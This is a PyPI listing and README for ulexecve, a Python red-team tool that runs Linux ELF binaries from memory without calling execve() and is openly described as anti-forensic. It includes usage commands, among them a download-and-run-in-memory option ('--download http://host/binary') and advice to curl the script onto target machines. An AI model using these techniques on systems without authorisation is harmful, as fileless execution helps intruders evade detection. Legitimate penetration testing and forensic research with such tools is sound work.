ulexecve


Nameulexecve JSON
Version 1.5 PyPI version JSON
download
home_pagehttps://github.com/anvilsecure/ulexecve
SummaryUserland execve utility
upload_time2024-01-03 14:41:12
maintainer
docs_urlNone
authorAnvil Secure Inc.
requires_python>=2.7
license
keywords userland execve
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # Quick Start

Execute dynamic or statically compiled ELF Linux binaries without ever calling execve().

```
cat /bin/echo | ulexecve - hello
hello
```

# Introduction

This Python tool is called `ulexecve` and it stands for *userland execve*. It helps you execute arbitrary ELF binaries on Linux systems from userland without ever calling the *execve()* systemcall. In other words: you can execute arbitrary binaries directly from memory without ever having to write them to storage. This is very useful from an anti-forensic or red-teaming perspective and enables you to move around more stealthily while still dropping compiled binaries on target machines. The tool works on CPython 3.x as well as CPython 2.7 (and possibly earlier) on the supported Linux platforms (`x86`, `x86-64` and `aarch64`). Both static and dynamically compiled ELF binaries are supported. Of course there will always be a small subset of binaries which may not work or result in a crash and for these a 100% reliable fallback method is implemented on top of the modern `memfd_create()` system call.

## Background

Linux userland execve tools have a history that goes back roughly two decades. The first solid writeups on this were made by *the grugq* in *The Design and Implementation of Userland Exec* [1] as well another article in Phrack 62 [2]. Anti-forensic techniques to execute binaries directly from memory are fairly standard. Rapid7's *mettle* for example has a library named `libreflect` which includes a utility `noexec` which also attempts to execute an ELF via reflection only. However this tool is written in C and it has the implicit requirement that you need to transfer the `noexec` binary on the target system as well being able to execute this binary.

In modern container environments this is definitely not always possible anymore. However a lot of container environments do contain a Python installation. Having the ability to simply download a Python script via `curl` or so on a target machine and then being able to execute this script to then stealthily execute arbitrary binaries is very useful from an anti-forensics perspective.

This is also the reason the tool is all implemented in just one file. This should make it easier to download it on target systems and not have to worry about installing any other dependencies before being able to run it. The tool is tested with Python 2.7 even though this Python version is deprecated. There are many systems still out there with 2.x versions so this is useful.

No good other implementations of a Python userland *execve()* existed. There is *SELF* [3] which was not extensively documented, lacked easy debugging options but more importantly didn't work at all. The `ulexecve` implementation was written from scratch. It parses the ELF file, loads and parses the dynamic linker as well (if needed), maps all segments into memory and ultimately constructs a jump buffer containing CPU instructions to ultimately transfer control from the Python process directly to the newly loaded binary.

All the common ELF parsing logic, setting up the stack, mapping the ELF segments and setting up the jump buffers is abstracted away so it is fairly easy (in the order of a couple of hours) to port to another CPU. Porting it to other ELF based platforms such as the BSDs might be a bit more involved but should still be fairly straightforward. For more information on to do so just check the comments in the code.

Please note that it is an explicit design goal to have no external dependencies and to have everything implemented in a single source code file. If you need to make smaller payloads it should be fairly trivial to remove support for cetain CPU types or rip out all the debug information and other options.

# Installation

## To install via pip

Although this makes little sense from an anti-forensics perspective the tool is installable via `pip`.

```
pip install ulexecve
ulexecve --help
```

## To build and install as a Python package

```
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
```

## To download and run via curl
```
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
```

# Usage

The tool fully supports static and dynamically compiled executables. Simply pass the filename of the binary to `ulexecve` and any arguments you want to supply to the binary. The environment will be directly copied over from the environment in which you execute `ulexecve`.

```
ulexecve /bin/ls -lha
```

You can have it read a binary from `stdin` if you specify `-` as the filename.

```
cat /bin/ls | ulexecve - -lha
```

To download a binary into memory and immediately execute it you can use `--download`. This will interpret the filename argument as a URI.

```
ulexecve --download http://host/binary
```

To debug several options are available. If you get a crash you can show debug information via `--debug`, the built up stack via `--show-stack` as well as the generated jump buffer `--show-jumpbuf`. The `--jump-delay` option is very useful if you want to parse and map an ELF properly and then attach a debugger to step through the jump buffer and the ultimate executing binary to find the cause of the crash.


```
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
 argv
   00000000:   0x0000000000000002
   00000008:   0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245:   00 00 00
248:   4c 01 d9                add    %r11,%rcx
24b:   48 31 d2                xor    %rdx,%rdx
24e:   ff e1                   jmpq   *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
```

There is always the `--fallback` option. It is not as stealthy as parsing and mapping in the binaries in userland ourselves. The fallback method uses `memfd_create()` and `fexecve()` but it should work 100% of time for executing arbitrary static or dynamic binaries. Provided the supplied binaries are the right binaries for the platform you are on obviously.

# Limitations

Obviously you can always end up with binaries which will not be executed properly. However this implementation is pretty clean and well tested (it includes unit-tests for static and dynamic binaries, PIE-compiled executables and executables with different runtimes such as Rust or Go). For most tools and binaries on the mentioned platforms it should do the trick. But your mileage may vary. Binaries that are produced by installation packers that embed other information inside the ELFs might not work properly depending on the self-referencing tricks they use. For PyInstaller binaries however a specific fallback was added to ulexecve.

## PyInstaller binaries

Binaries which are created with PyInstaller will not work directly. These binaries require an accompanying package file or, in most cases, embed within the ELF the extra data needed to unpack and run properly after starting the embedded Python interpreter. This means that they cannot be made to work properly. There are a few ways of getting around this. A simple way, that may work in a subset of real world cases, assumes there is a writeable temp filesystem out there. Then we replace the string `/proc/self/exe` in the binary with `/tmp/xxxx`. After that we load the binary in memory via `memfd_create()` and then point the symlink at `/tmp/xxxx` to `/proc/<pid>/fd/<fd>` to the in-memory file. To try this option use `--pyi-fallback`. If you need to specify a specific other temporary directory use `--tmpdir`. Please note that the resulting path including the tmpdir has to be the exact same amount of bytes long as is the string `/proc/self/exe` (14 bytes) so longer paths won't work.

```
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h  | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h  | ./ulexecve.py --pyi-fallback -
hello
```

# Porting

When porting to a different platform make sure that the small amount of unit-tests all work. Simply run the included `./test.py` on the target platform and fix up everything up until all these tests succeed again.

# Bugs, comments, suggestions

Shoot in a pull-request via github, post an issue in the issue tracker or simply shoot an email to *gvb@anvilsecure.com*.

# References

1. ["The Design and Implementation of Userland Exec"](https://github.com/grugq/grugq.github.com/blob/master/docs/ul_exec.txt), by the grugq. 

2. ["FIST! FIST! FIST! Its all in the wrist: Remote Exec"](http://phrack.org/issues/62/8.html), by grugq, Phrack 62-0x08, 2004-07-13.

3. [Implementation of SELF in Python](https://github.com/mak/pyself), by Maciej Kotowicz (mak).
            

Raw data

            {
    "_id": null,
    "home_page": "https://github.com/anvilsecure/ulexecve",
    "name": "ulexecve",
    "maintainer": "",
    "docs_url": null,
    "requires_python": ">=2.7",
    "maintainer_email": "",
    "keywords": "userland execve",
    "author": "Anvil Secure Inc.",
    "author_email": "gvb@anvilsecure.com",
    "download_url": "https://files.pythonhosted.org/packages/62/b3/eaa6db9a2963710e47373e0bc78e265c77440d8d4b4c9aa032894da03eca/ulexecve-1.5.tar.gz",
    "platform": null,
    "description": "# Quick Start\n\nExecute dynamic or statically compiled ELF Linux binaries without ever calling execve().\n\n```\ncat /bin/echo | ulexecve - hello\nhello\n```\n\n# Introduction\n\nThis Python tool is called `ulexecve` and it stands for *userland execve*. It helps you execute arbitrary ELF binaries on Linux systems from userland without ever calling the *execve()* systemcall. In other words: you can execute arbitrary binaries directly from memory without ever having to write them to storage. This is very useful from an anti-forensic or red-teaming perspective and enables you to move around more stealthily while still dropping compiled binaries on target machines. The tool works on CPython 3.x as well as CPython 2.7 (and possibly earlier) on the supported Linux platforms (`x86`, `x86-64` and `aarch64`). Both static and dynamically compiled ELF binaries are supported. Of course there will always be a small subset of binaries which may not work or result in a crash and for these a 100% reliable fallback method is implemented on top of the modern `memfd_create()` system call.\n\n## Background\n\nLinux userland execve tools have a history that goes back roughly two decades. The first solid writeups on this were made by *the grugq* in *The Design and Implementation of Userland Exec* [1] as well another article in Phrack 62 [2]. Anti-forensic techniques to execute binaries directly from memory are fairly standard. Rapid7's *mettle* for example has a library named `libreflect` which includes a utility `noexec` which also attempts to execute an ELF via reflection only. However this tool is written in C and it has the implicit requirement that you need to transfer the `noexec` binary on the target system as well being able to execute this binary.\n\nIn modern container environments this is definitely not always possible anymore. However a lot of container environments do contain a Python installation. Having the ability to simply download a Python script via `curl` or so on a target machine and then being able to execute this script to then stealthily execute arbitrary binaries is very useful from an anti-forensics perspective.\n\nThis is also the reason the tool is all implemented in just one file. This should make it easier to download it on target systems and not have to worry about installing any other dependencies before being able to run it. The tool is tested with Python 2.7 even though this Python version is deprecated. There are many systems still out there with 2.x versions so this is useful.\n\nNo good other implementations of a Python userland *execve()* existed. There is *SELF* [3] which was not extensively documented, lacked easy debugging options but more importantly didn't work at all. The `ulexecve` implementation was written from scratch. It parses the ELF file, loads and parses the dynamic linker as well (if needed), maps all segments into memory and ultimately constructs a jump buffer containing CPU instructions to ultimately transfer control from the Python process directly to the newly loaded binary.\n\nAll the common ELF parsing logic, setting up the stack, mapping the ELF segments and setting up the jump buffers is abstracted away so it is fairly easy (in the order of a couple of hours) to port to another CPU. Porting it to other ELF based platforms such as the BSDs might be a bit more involved but should still be fairly straightforward. For more information on to do so just check the comments in the code.\n\nPlease note that it is an explicit design goal to have no external dependencies and to have everything implemented in a single source code file. If you need to make smaller payloads it should be fairly trivial to remove support for cetain CPU types or rip out all the debug information and other options.\n\n# Installation\n\n## To install via pip\n\nAlthough this makes little sense from an anti-forensics perspective the tool is installable via `pip`.\n\n```\npip install ulexecve\nulexecve --help\n```\n\n## To build and install as a Python package\n\n```\npython setup.py sdist\npython -m pip install --upgrade dist/ulexecve-<version>.tar.gz\nulexecve --help\n```\n\n## To download and run via curl\n```\ncurl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py\n./ulexecve.py --help\n```\n\n# Usage\n\nThe tool fully supports static and dynamically compiled executables. Simply pass the filename of the binary to `ulexecve` and any arguments you want to supply to the binary. The environment will be directly copied over from the environment in which you execute `ulexecve`.\n\n```\nulexecve /bin/ls -lha\n```\n\nYou can have it read a binary from `stdin` if you specify `-` as the filename.\n\n```\ncat /bin/ls | ulexecve - -lha\n```\n\nTo download a binary into memory and immediately execute it you can use `--download`. This will interpret the filename argument as a URI.\n\n```\nulexecve --download http://host/binary\n```\n\nTo debug several options are available. If you get a crash you can show debug information via `--debug`, the built up stack via `--show-stack` as well as the generated jump buffer `--show-jumpbuf`. The `--jump-delay` option is very useful if you want to parse and map an ELF properly and then attach a debugger to step through the jump buffer and the ultimate executing binary to find the cause of the crash.\n\n\n```\ncat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello\n...\nPT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70\nLoaded interpreter successfully\nStack allocated at: 0x7fddf630e000\nvDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000\nAuxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064\nstack contents:\n argv\n   00000000:   0x0000000000000002\n   00000008:   0x00007fddf6312410\n...\nGenerated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)\nGenerated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)\nGenerated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)\nGenerating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000\nJumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000\nWritten jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)\nExecuting: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin\n...\n245:   00 00 00\n248:   4c 01 d9                add    %r11,%rcx\n24b:   48 31 d2                xor    %rdx,%rdx\n24e:   ff e1                   jmpq   *%rcx\n...\nMemmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)\nhello\n```\n\nThere is always the `--fallback` option. It is not as stealthy as parsing and mapping in the binaries in userland ourselves. The fallback method uses `memfd_create()` and `fexecve()` but it should work 100% of time for executing arbitrary static or dynamic binaries. Provided the supplied binaries are the right binaries for the platform you are on obviously.\n\n# Limitations\n\nObviously you can always end up with binaries which will not be executed properly. However this implementation is pretty clean and well tested (it includes unit-tests for static and dynamic binaries, PIE-compiled executables and executables with different runtimes such as Rust or Go). For most tools and binaries on the mentioned platforms it should do the trick. But your mileage may vary. Binaries that are produced by installation packers that embed other information inside the ELFs might not work properly depending on the self-referencing tricks they use. For PyInstaller binaries however a specific fallback was added to ulexecve.\n\n## PyInstaller binaries\n\nBinaries which are created with PyInstaller will not work directly. These binaries require an accompanying package file or, in most cases, embed within the ELF the extra data needed to unpack and run properly after starting the embedded Python interpreter. This means that they cannot be made to work properly. There are a few ways of getting around this. A simple way, that may work in a subset of real world cases, assumes there is a writeable temp filesystem out there. Then we replace the string `/proc/self/exe` in the binary with `/tmp/xxxx`. After that we load the binary in memory via `memfd_create()` and then point the symlink at `/tmp/xxxx` to `/proc/<pid>/fd/<fd>` to the in-memory file. To try this option use `--pyi-fallback`. If you need to specify a specific other temporary directory use `--tmpdir`. Please note that the resulting path including the tmpdir has to be the exact same amount of bytes long as is the string `/proc/self/exe` (14 bytes) so longer paths won't work.\n\n```\n$ cat > h.py\nprint(\"hello\")\n$ pyinstaller -F -c h.py\n...\n$ cat ./tmp/dist/h  | ./ulexecve.py -\n[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)\n$ cat ./tmp/dist/h  | ./ulexecve.py --pyi-fallback -\nhello\n```\n\n# Porting\n\nWhen porting to a different platform make sure that the small amount of unit-tests all work. Simply run the included `./test.py` on the target platform and fix up everything up until all these tests succeed again.\n\n# Bugs, comments, suggestions\n\nShoot in a pull-request via github, post an issue in the issue tracker or simply shoot an email to *gvb@anvilsecure.com*.\n\n# References\n\n1. [\"The Design and Implementation of Userland Exec\"](https://github.com/grugq/grugq.github.com/blob/master/docs/ul_exec.txt), by the grugq. \n\n2. [\"FIST! FIST! FIST! Its all in the wrist: Remote Exec\"](http://phrack.org/issues/62/8.html), by grugq, Phrack 62-0x08, 2004-07-13.\n\n3. [Implementation of SELF in Python](https://github.com/mak/pyself), by Maciej Kotowicz (mak).",
    "bugtrack_url": null,
    "license": "",
    "summary": "Userland execve utility",
    "version": "1.5",
    "project_urls": {
        "Homepage": "https://github.com/anvilsecure/ulexecve"
    },
    "split_keywords": [
        "userland",
        "execve"
    ],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "62b3eaa6db9a2963710e47373e0bc78e265c77440d8d4b4c9aa032894da03eca",
                "md5": "39c0698bfdbed054313b2de4fec6a7da",
                "sha256": "bfb51db0697e542f9b70ef5d74cc500da49eea4b7a96beb5247ef3abf429cab2"
            },
            "downloads": -1,
            "filename": "ulexecve-1.5.tar.gz",
            "has_sig": false,
            "md5_digest": "39c0698bfdbed054313b2de4fec6a7da",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=2.7",
            "size": 29758,
            "upload_time": "2024-01-03T14:41:12",
            "upload_time_iso_8601": "2024-01-03T14:41:12.012840Z",
            "url": "https://files.pythonhosted.org/packages/62/b3/eaa6db9a2963710e47373e0bc78e265c77440d8d4b4c9aa032894da03eca/ulexecve-1.5.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2024-01-03 14:41:12",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "anvilsecure",
    "github_project": "ulexecve",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "tox": true,
    "lcname": "ulexecve"
}
        
Elapsed time: 0.15390s